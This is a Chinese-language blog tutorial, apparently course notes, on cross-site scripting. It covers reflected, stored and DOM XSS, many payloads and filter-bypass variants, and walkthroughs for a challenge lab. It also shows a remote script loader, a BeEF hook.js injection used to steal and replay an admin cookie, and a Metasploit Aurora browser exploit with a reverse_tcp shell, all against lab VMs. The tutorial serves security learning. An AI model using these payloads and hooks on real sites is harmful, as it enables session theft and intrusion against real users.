【CyberSecurityLearning 57】XSS

目录

XSS漏洞

XSS 漏洞概述

* 简介

* XSS 危害

*XXS 漏洞的验证

验证XSS 漏洞存在的PoC 如下

XSS 的分类

* 反射型XSS

 * 存储型XSS

* DOM XSS

XSS 的构造(3种)

1、利用[<>]构造HTML/JS关键字

2、伪协议

3、产生自己的事件

* 利用CSS 跨站(比较老了,但是我们还是要学习一下)

* 其他标签以及手法

XSS 的变形

1、大小写转换

2、引号的使用

3、[/]代替空格

4、回车

5、对标签属性值进行转码

6、拆分跨站

7、双写绕过

8、CSS 中的变形(就不介绍了)

Shellcode 的调用

* 远程调用JS(最常用)

2、windows.location.hash

3、 XSS Downloader

4、备选存储技术

XSS 通关挑战

level1

XSS 的防御

 * 使用XSS Filter

实验:beef、msf

1、浏览器劫持

2. Cookie 窃取与欺骗----固定会话攻击

3. 利用浏览器漏洞getshell(使用工具msf)

4、XSS盲打平台使用


XSS漏洞

XSS 漏洞概述

* 简介

    XSS 作为OWASP TOP 10 之一,
    XSS 被称为跨站脚本攻击(Cross-site scripting),本来应该缩写为CSS,但是由于和CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。XSS(跨站脚本攻击)主要基于javascript(JS)完成恶意的攻击行为。JS 可以非常灵活的操作html、css和浏览器,这使得XSS 攻击的“想象”空间特别大。(也就是说我们一个地方可以人为的手工注入js代码的话,那我们就认为它存在一个XSS漏洞,危害程度和代码设计有关系,只要JS代码能完成的功能,我们XSS也能做到
    XSS 通过将精心构造的代码(JS)代码注入到网页中,并由浏览器解释运行这段JS 代码,以达到恶意攻击的效果。(SQL注入攻击的是数据库还有服务器,JS受害者是客户端浏览器,所以我们在研究XSS漏洞的时候,在攻防场景中,我们最少包含三个角色:攻击者、浏览器  服务器、被攻击者)当用户访问被XSS 脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS 代码,也就是说用户被攻击了。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript 解释器,可以解析javascript,然而浏览器不会判断代码是否恶意。也就是说,XSS 的对象是用户和浏览器

XSS漏洞(或者攻击行为)发生在服务器端的,但是它执行的环境是我们的客户端浏览器,所以我们认为xss这种漏洞是被动的攻击


XSS 漏洞发生在哪里?  服务器
    
微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS 代码,都存在遭受XSS 的风险,只要没有对用户的输入进行严格过滤,就会被XSS 。

* XSS 危害

    XSS 利用JS 代码实现攻击,有很多种攻击方法,以下简单列出几种
    @   盗取各种用户账号
    @   窃取用户Cookie资料,冒充用户身份进入网站
    @   劫持用户会话,执行任意操作
    @   刷流量,执行弹窗广告
    @   传播蠕虫病毒
    等等

*XXS 漏洞的验证

    我们可以用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做PoC(Proof of Concept)。

    POC             漏洞的验证与检测
    EXP              漏洞的完整利用工具。
    shellcode      利用漏洞时,所执行的代码
    payload        攻击载荷(在不同情境下含义是不一样的)
           在 sqlmap中:         攻击代码的模板
           在msf中:               shellcode 类似,功能是建立与目标的连接

shellcode和EXP有什么区别?
工具去执行代码(这里面我们可以把EXP中的shellcode换成别的shellcode)
EXP概念的范围包括POC和shellcode还有payload。


验证XSS 漏洞存在的PoC 如下

----
<script>alert(/xss/)</script>      最常用
<script>confirm('xss')</script>   弹出确认框
<script>prompt('xss')</script>   弹出输入框
----

如果alert(xss)被屏蔽了,就可以去考虑使用confirm和prompt


我们可以在测试页面中提交这样的代码[<script>alert(/xss/)</script>]
 
我们发现,提交的代码[<script>alert(/xss/)</script>],被当作普通字符串输出在HTML 页面中,浏览器会根据[<script>] 标签识别为JS 语句,并会执行它,执行弹窗操作。也就是说,可以执行其他JS 代码,因此我们验证了XSS 漏洞的存在性。也就是说,既然能执行alert这段js代码,也就意味着我们可以执行其他任意js代码。
 

我们来看看怎么搭建测试页面:

XSS-TEST:

链接:https://pan.baidu.com/s/1Gsgf25ndaKwLqMiChw1wNQ 提取码:ccpo

打开我们的靶场win2003,找到c:\phpstudy\www,把XSS-TEST复制到web根目录下,启动phpstudy,我们就可以通过浏览器去访问

win7作为受害者,打开Firefox

点击normal,进来后就是一个xss测试框:

那也就是说我们这里有很多方法,基本都要在这进行测试。

框中输入payload:<script>alert(/xss/)</script>,点击提交,出现弹框,(为什么会弹出呢?因为我们输入的内容被浏览器解析了)

也就是我们在这个页面输入什么就会输出什么
我们查看一下normal下的index.php源代码

我们再看一下xss.php源码

框中输入:<img src='./smile.jpg'>

右键查看源代码,就是浏览器把我们输入的内容做了一个解析

XSS 的分类

    XSS 漏洞大概可以分为三个类型:反射型XSS、存储型XSS、DOM 型XSS。

* 反射型XSS

    反射型XSS 是非持久性、参数型的跨站脚本。反射型XSS 的JS 代码在Web 应用的参数(变量),如搜索框的反射型XSS。
 

    在搜索框中,提交PoC[<script>alert(/xss/)</script>],点击搜索,即可触发反射型XSS。
 
    注意到,我们提交的poc 会出现在search.php 页面的keywords 参数中。

找到cms,在搜索框中输入hello

hello关键字会被现实到页面中来:

在搜索框输入:<HELLO>,搜索:

发现关键字没了,但是右键查看源代码

如果我们能把<HELLO>识别成标签,那么<script>也得识别成标签:

在搜索框输入:<script>alert(/xss/)</script>,出现弹框,我们就称为反射型xss


 
* 存储型XSS

    存储型XSS 是持久性跨站脚本。持久性体现在XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中
    存储型XSS 通常发生在留言板等地方。我们在留言板位置留言,将恶意代码写进数据库中。
 
    此时,我们只完成了第一步,将恶意代码写入数据库。因为XSS 使用的JS 代码,JS 代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS 代码,才能真正触发XSS。此时,需要我们模拟网站后台管理员的身份,查看留言。

打开cms的留言板:

我们找到后台管理,一点击留言管理,管理员还没看呢,就发生弹框了。

这就是存储型的XSS

* DOM XSS

    DOM XSS 比较特殊。owasp 关于DOM 型XSS 的定义是基于DOM 的XSS 是一种XSS 攻击,其中攻击的payload由于修改受害者浏览器页面的DOM 树而执行的。其特殊的地方就是payload 在浏览器本地修改DOM 树而执行, 并不会传到服务器上,这也就使得DOM XSS 比较难以检测。如下面的例子
[#message=<script>alert(/xss/)</script>]
 
    我们以锚点的方式提交PoC。PoC 并不会发送的服务器,但是已经触发了XSS。查看当前页面的源代码如下
 
    查看提交参数后的HTML 页面(DOM 树),会形成鲜明的对比,如下。
 

反射型XSS是将代码提交到一个变量中去
存储型XSS是将JS代码提交到数据库上(恶意代码是存储在对方服务器中)
DOM型XSS是通过修改浏览器页面的DOM树来触发的

右键查看源代码

写个http://localhost/xssTest/xssTest/DOM-XSS/?message=<script>alert(/xss/)</script>

发现出现弹窗,但是查看源代码并没有出现alert

查看元素(修改了DOM树)

只要我们修改了DOM树,浏览器就会重新渲染页面

难理解的地方就是源代码中并没有alert(/xss/)但是我们DOM树里面有,并且我们能弹窗
它之所以能够弹窗是因为,我们这段js代码把alert(/xss/)写到DOM页面中去,浏览器检测到DOM数更新了,就会重新渲染页面,重新构建DOM树,发现alert语句就会执行它

我们写http://localhost/xssTest/xssTest/DOM-XSS/#message=<script>alert(/xss/)</script>

(?改成#)也会弹窗,#后面的内容是锚点,锚点不会提交到服务器,所以说我们服务器端的xss过滤器或者WAF不能检测到DOM型xss攻击,因为我们这段攻击代码根本就没有传到服务器

练习:

DVWA有反射型,存储型,DOM型XSS,可以去玩玩,看看怎么做限制的,限制怎么被绕过的

还有flash型xss(慢慢被淘汰)

XSS 的构造(3种)

1、利用[<>]构造HTML/JS关键字

    可以利用[<>] 构造HTML 标签和<script> 标签。
    在测试页面提交参数[<h1 style='color:red'>利用[<>]构造HTML/JS</h1>]
 
    提交[<script>alert(/xss/)</script>]

2、伪协议

    也可以使用javascript: 伪协议的方式构造XSS
    [javascript:alert(/xss/);]在伪协议后面加js代码


    提交参数[<a href="javascript:alert(/xss/)">touch me!</a>],然后点击超链接,即可触发XSS。
 
    也可以使用img 标签的伪协议,但是这种方法在IE6 以下测试成功。
    [<img src="javascript:alert('xss')">]

3、产生自己的事件

    "事件驱动"是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS 可以对这些事件进行响应。所以我们可以通过事件触发JS 函数,触发XSS。

事件种类:
windows 事件        对windows 对象触发的事件
Form 事件             HTML 表单内的动作触发事件
Keyboard 事件      键盘按键
Mouse 事件          由鼠标或类似用户动作触发的事件
Media 事件           由多媒体触发的事件

如,[<img src='./smile.jpg' onmouseover='alert(/xss/)'>] 这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS 代码
 
    单行文本框的键盘点击事件,
    [<input type="text" onkeydown="alert(/xss/)">],onkeydown就是当点击键盘任意一个按键的时候触发。
    <input type="text" onkeyup="alert(/xss/)">(按住不要松开,一松开就触发)
    <input type="button" onclick="alert(/xss/)">(点击事件)
    <img src='#' onerror='alert(/xss/)'>(onerror触发错误)写空或者#

* 利用CSS 跨站(比较老了,但是我们还是要学习一下)

    我们也可以利用CSS(层叠样式脚本)触发XSS。但是这种方法比较古老,基本上不适合现在主流的浏览器,但是从学习的角度,我们需要了解这种类型的XSS。以下代码均在IE6 下测试
    @   行内样式
[<div style="background-image:url(javascript:alert(/xss/))">]
 
    @   页内样式
[<style>Body{background-image:url(javascript:alert(/xss/))}</style>]

    @   外部样式
[<link rel="stylesheet" type="text/css" href="./xss.css"><div>hello<div>]
    xss.css 文件内容如下
-----------------------------------------------------------------
h1 {
    color:red;
}
div {
    /*width:expression(alert(/xss/))*/
    background-image:url(javascript:alert(/xss/))
}
-----------------------------------------------------------------
 
    @   expression
[<div style="width:expression(alert(/xss/))">]
 
[<style>Body{background-image:expression(alert(/xss/));}</style>]
    @   import
    [<style>@import 'javascript:alert("xss")';</style>]
 
    [<style type="text/css">@import url(xss.css);</style><div>AJEST</div>]


* 其他标签以及手法

    我们也可以用其他标签触发XSS。
    [<svg οnlοad="alert(/xss/)">] 这个语句还是比较简洁的。

    [<input οnfοcus=alert(/xss/) autofocus>]  

svg是H5的标签

XSS 的变形

如果我们把css加进去就有四种构造方法九种变形方法

我们可以构造的XSS 代码进行各种变形,以绕过XSS 过滤器的检测变形方式主要有以下几种

1、大小写转换

    可以将payload 进行大小写转化。如下面两个例子。
<Img sRc='#' Onerror="alert(/xss/)" />  

<a hREf="javaScript:alert(/xss/)">click me</a>

js代码对大小写敏感。所以不能随意变化大小写
html可以变化大小写

2、引号的使用

HTML 语言中对引号的使用不敏感,但是某些过滤函数是“锱铢必较”。
<img src="#" οnerrοr="alert(/xss/)"/>

<img src='#' οnerrοr='alert(/xss/)'/>
<img src=# οnerrοr=alert(/xss/) />

3、[/]代替空格

    可以利用左斜线代替空格
<Img/sRc='#'/Onerror='alert(/xss/)' />

4、回车

    我们可以在一些位置添加Tab(水平制表符)和回车符,来绕过关键字检测。


<A hREf="j
a    v
a    s
c    R
i    p
t    :
alert(/xss/)">click me!</a>


5、对标签属性值进行转码

可以对标签属性值进行转码,用来绕过过滤。对应编码如下
字母          ASCII 码                十进制编码         十六进制编码
  a                  97                         &#97;                 &#x61;
  e                101                         &#101;               &#x65;
 
    经过简单编码之后的样子。
<A hREf="j&#97;v&#x61;script:alert(/xss/)">click me!</a>
 
另外,我们可以将以下字符插入到任意位置
Tab          &#9;
换行        &#10;
回车        &#13;
 
可以将以下字符插入到头部位置
SOH       &#01;
STX        &#02;
              
    经过编码后的样子。
<A hREf="&#01;j&#97;v&#x61;s&#9;c&#10;r&#13;ipt:alert(/xss/)">
click me!
</a>
 


6、拆分跨站

    <script>z='alert'</script>
    <script>z=z+'(/xss/)'</script>
    <script>eval(z)</script>

eval()是一个执行函数,会将我们的z这个字符串当作js代码来执行
好处:我们避免shellcode过长
 


7、双写绕过

    <script>
    <scr<script>ipt>

8、CSS 中的变形(就不介绍了)

    @   使用全角字符
    width:expression(alert(/xss/))
 
    @   注释会被浏览器忽略
    width:expr/*~*/ession(alert(/x~s~s/))
 
    @   样式表中的[\] 和[\0]
    <style>@import 'javasc\ri\0pt:alert("xss")';</style>

Shellcode 的调用

    Shellcode 就是在利用漏洞所执行的代码。
    完整的XSS 攻击,会将Shellcode 存放在一定的地方,然后触发漏洞,调用Shellcode

我们之前讲到的存储型xss是存储在对方的服务器当中,那我们可不可以将js代码存储在别的服务器当中里,然后通过src的方式去调用它呢?
这就是我们讲到的第一种,shellcode调用的方法:远程调用JS

* 远程调用JS(最常用)

    我们可以将JS 代码单独放在一个js 文件中,然后通过http 协议远程加载该脚本。如
[<script src="http://172.16.132.138/XSS-TEST/normal/xss.js"></script>] ,这是比较常用的方式。准备一个XSS.js文件 的内容如下。
-----------------------------------------------------------------
alert('xss.js');
-----------------------------------------------------------------

然后我们通过script标签它的src属性去通过一个URL地址去载入这个js代码
那也就是说我们找个地方既然能够通过HTTP协议的方式去远程加载JS脚本,那么这个JS脚本的地址就可以是互联网上任意一台主机的地址

演示 :

打开win2008,准备一个xss.js文件(我是在D:\phpStudy\WWW\xssTest\xssTest\normal)
文件内容是alert('xss.js');

在远程加载之前我们要保证我们这个文件通过HTTP协议的方式是能够访问到的
我们把winxp作为目标靶机

winxp的ip:192.168.3.105/24
win2008的ip:192.168.3.103/24

打开winxp的IE浏览器(我们第一步要保证js脚本通过http方式能够访问),输入win2008的ip:http://192.168.3.103/xssTest/xssTest/normal/xss.js

出现了:alert('xss.js')

直接把源代码显示出来了,为什么浏览器没有弹框呢?因为我们通过浏览器在访问js文件的时候,它只是作为一个纯文本的方式出现
也就是想要远程调用js的话,我们得确定通过http的方式能够去访问这个脚本
那现在我们可以远程调用一下js

直接进行弹出

再次修改xss.js内容的时候要清空浏览器缓存

2、windows.location.hash

    我们也可以使用js 中的windows.location.hash(windows是一个浏览器对象) 方法获取浏览器URL 地址栏的XSS 代码
    windows.location.hash 会获取URL 中# 后面的内容,例如[http://domain.com/index.php#AJEST],windows.location.hash 取得的值就是[#AJEST]。
    所以我们可以构造如下代码

[?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/This is windows.location.hash/)],直接提交到测试页面xss.php。
substr(1)是截取从a开始后面所有的字符

3、 XSS Downloader

    XSS 下载器就是将XSS 代码写到网页中,然后通过AJAX 技术,取得网页中的XSS代码。
    在使用XSS Downloader 之前需要一个我们自己的页面,xss_downloader.php,内容如下

我们的目的就是用ajax技术去下载网页的内容,然后把alert(/xss/)这个代码提取出来
-----------------------------------------------------------------
~~~~BOF|alert(/xss/)|EOF~~~~~~~~~~~~~
-----------------------------------------------------------------    
    常见的下载器如下
-----------------------------------------------------------------

<script>
function XSS(){  
    if (window.XMLHttpRequest) {
       a = new XMLHttpRequest();
    } else if (window.ActiveXObject) {
       a = new ActiveXObject("Microsoft.XMLHTTP");
    } else {return;}
    a.open('get','http://172.16.132.161/XSS-TEST/normal/xss_downloader.php',false);   
    a.send();
    b=a.responseText;
    eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));}         indexOf是取首次出现的位置
XSS();
</script>

写到文本域中提交

-----------------------------------------------------------------
 
    AJAX 技术会受到浏览器同源策略的限制,为了解决这个问题,我们需要在服务器端代码中添加如下内容。
-----------------------------------------------------------------
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept');

实现跨域访问
-----------------------------------------------------------------


4、备选存储技术

    我们可以把Shellcode 存储在客户端的本地域中,比如HTTP Cookie、Flash 共享对象、UserData、localStorage 等。我们以HTTP Cookie 为例子。
 
    点击Cookie-XSS 验证,产生如下效果。

演示:

打开:

点击后直接出现弹框,我们退出后查看查看一下元素,找到存储

XSS 通关挑战

靶场源码:

网盘链接      提取码:f6jz

这个通关挑战里面所有的xss都是反射型xss,不需要与数据库进行交互,我们只需要把文件拷贝到web根目录下即可(20关)

level1

?name=test1发现页面也显示test1

测试:?name=<'"/\>  看他有没有过滤,发现照样显示在页面中
右键查看源代码

XSS 通关挑战
  XSS终极代码:  <script script "'OOnn>【这就是我们测试目标的终极代码,也就是把它提交到服务器上就可以知道它过滤了什么没有过滤什么】
* 简介
    XSS 通关挑战是一个练习XSS 绕过和展示各种XSS 场景的靶机环境。首页如下。
[01]
<script>alert(/xss/)</script>
[02]

把测试代码 <script script "'OOnn>复制到框中


"><img οnerrοr=alert(/xss/) src="#
[03]
' οnmοuseοver='alert(/xss/)
[04]
" οnmοuseοver="alert(/xss/)
[05]
"><a href="javascript:alert(/xss/)">click me!</a>   (因为既不能出现on也不能出现script标签,就用a标签)

把测试代码复制进去,查看源代码:

相当于:<input name=keyword  value=""><a href="javascript:alert(/xss/)">click me!</a>"


[06]
方法1、" Onmouseover="alert(/xss/)
方法2、"><a hREf="javascript:alert(/xss/)">click me!</a>

提交:"><a href="javascript:alert(/xss/)">click me!</a> 查看源代码后发现herf也过滤了


[07]


" oONnmouseover="alert(/xss/)


[08]

提交javascript:alert(/xss/),放友情链接那里一方,发现左下角,不和谐。考虑变十六进制
javas&#x63;ript:alert(/xss/)
[09]


javas&#x63;ript:alert('http://')
[10]

 ​

 ​

 ​查看源代码

 ​
双引号可以把value闭合
?t_sort=click me!" type="button" οnclick="alert(/xss/)
[11]

 ​
Referer:click me!" type="button" οnclick="alert(/xss/)  
[12]右键查看元素---网络

 ​
User-Agent:click me!" type="button" οnclick="alert(/xss/)

[13]

Cookie: user=click me!" type="button" οnclick="alert(/xss/)

    这里我们只需要点击图片即可开始挑战。
* 题解
    用我们之间讲过的内容,可以过大部分关卡。这里推荐另一个XSS 挑战,也比较有意思。[http://xss-quiz.int21h.jp]

XSS 的防御

 * 使用XSS Filter

    XSS Filter 的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS 攻击的效果。
    @    输入过滤
    "永远不要相信用户的输入"是网站开发的基本常识,对于用户输入一定要过滤,过滤,再过滤。
              .    输入验证
                  简单的说,输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或者忽略除此之外的其他任何数据。
                  输入是否仅包含合法的字符
                  输入字符串是否超过最大长度限制
                  输入如果为数字,数字是否在指定的范围
                  输入是否符合特殊的格式要求,如E-mail 地址、IP 地址等。
             .    数据消毒
                  过滤和净化掉有害的输入。
    @    输出编码
    HTML 编码主要是用对应的HTML 实体代替字符。

    @    黑白名单
    不管是采用输入过滤还是输出编码,都是针对数据信息进行黑|白名单式的过滤。
    黑名单,非允许数据
    白名单,允许的数据
防御DOM-XSS
    避免客户端文档重写、重定向或其他敏感操作。

实验:beef、msf

1、浏览器劫持

beef(集成在kali)
     XSS 神器
     XSS 漏洞的利用平台
beef 的启动
    kali 中
    工具目录        /usr/share/beef-xss
    配置文件        config.yaml

    启动beef 工具的方法
            beef-xss
            /usr/share/beef-xss/beef
    启动前要修改默认用户名和密码:
               vim  /usr/share/beef-xss/conf.yaml


    Web 界面管理控制台
 

http://192.168.3.108:3000/ui/panel


        
    beef平台的Shellcode
        http://192.168.3.108:3000/hook.js(只要我们对被攻击者运行了js文件,那么就会在这个管理控制台上线)
        
    测试页面
        http://192.168.3.108:3000/demos/butcher/index.html(只要有人访问了这个测试页面也会在管理控制台上线)
    可以查看到对方的一些信息

比如在browser--hooked domain下有一个redirect browser(重定向):
 我们一执行,刚刚那个页面就跳转到baidu页面了
只要你跳转到别的页面就下线了。这就是一个浏览器劫持。

2. Cookie 窃取与欺骗----固定会话攻击

打开win2008:192.168.3.103
打开真机访问cms
打开留言板,我们可以在这插入上面讲到的js脚本:http://192.168.3.108:3000/hook.js(从外部载入js脚本)

此时我们就等待管理员去查看留言,就可以在管理控制台看到它上线了
上线后,我们就可以做浏览器劫持,想让他访问哪个页面就访问哪个页面,还可以获取浏览器cookie信息(command--browser--hookeddomain---get cookie--拿到浏览器cookie)。。。

    data: cookie=username=admin; userid=1
------
document.cookie="username=admin";
document.cookie="userid=1";
把上面两行写入浏览器console,直接访问admin就行了
------

直接就以admin身份进入后台

3. 利用浏览器漏洞getshell(使用工具msf)

msfconsole启动msf
msf5 > use exploit/windows/browser/ms10_002_aurora
msf exploit(windows/browser/ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/browser/ms10_002_aurora) > set SRVHOST 192.168.3.103(服务器地址)
SRVHOST => 192.168.3.103
msf exploit(windows/browser/ms10_002_aurora) > set LHOST 192.168.3.108(本地地址)
LHOST => 192.168.3.108
msf exploit(windows/browser/ms10_002_aurora) > exploit (执行)

受害者上线后,让他重定向到上面的地址

这个工具后面会介绍。。。

一系列操作后获得目标主机的shell。。。

explorer.exe这个进程是资源管理器

4、XSS盲打平台使用

XSS盲打平台:xsspt.com(开源)可以去注册

①注册

②创建项目

③配置模块

点击下一步

⑤将获得的连接插入到cms留言板

⑥等待受害者访问留言管理,受害者以登录。来到xss平台

遗憾是是没有获取屏幕截图,这个是能成功的!

总结:

1. 浏览器劫持
2. Cookie 窃取与欺骗----固定会话攻击
    data: cookie=username=admin; userid=1
------
document.cookie="username=admin";
document.cookie="userid=1";
把上面两行写入浏览器console,直接访问admin就行了
------

3. 利用浏览器漏洞getshell
msf
ms10002        xp
ms12063    

4. XSS 平台
    XSS 盲打

实验流程:

准备:win2k8(服务器)、winxp(客户机)、kali(Hacker攻击者)

kali:192.168.3.108

真机win10远程连接kali:ssh [email protected]


   

猜你喜欢

转载自blog.csdn.net/Waffle666/article/details/115441334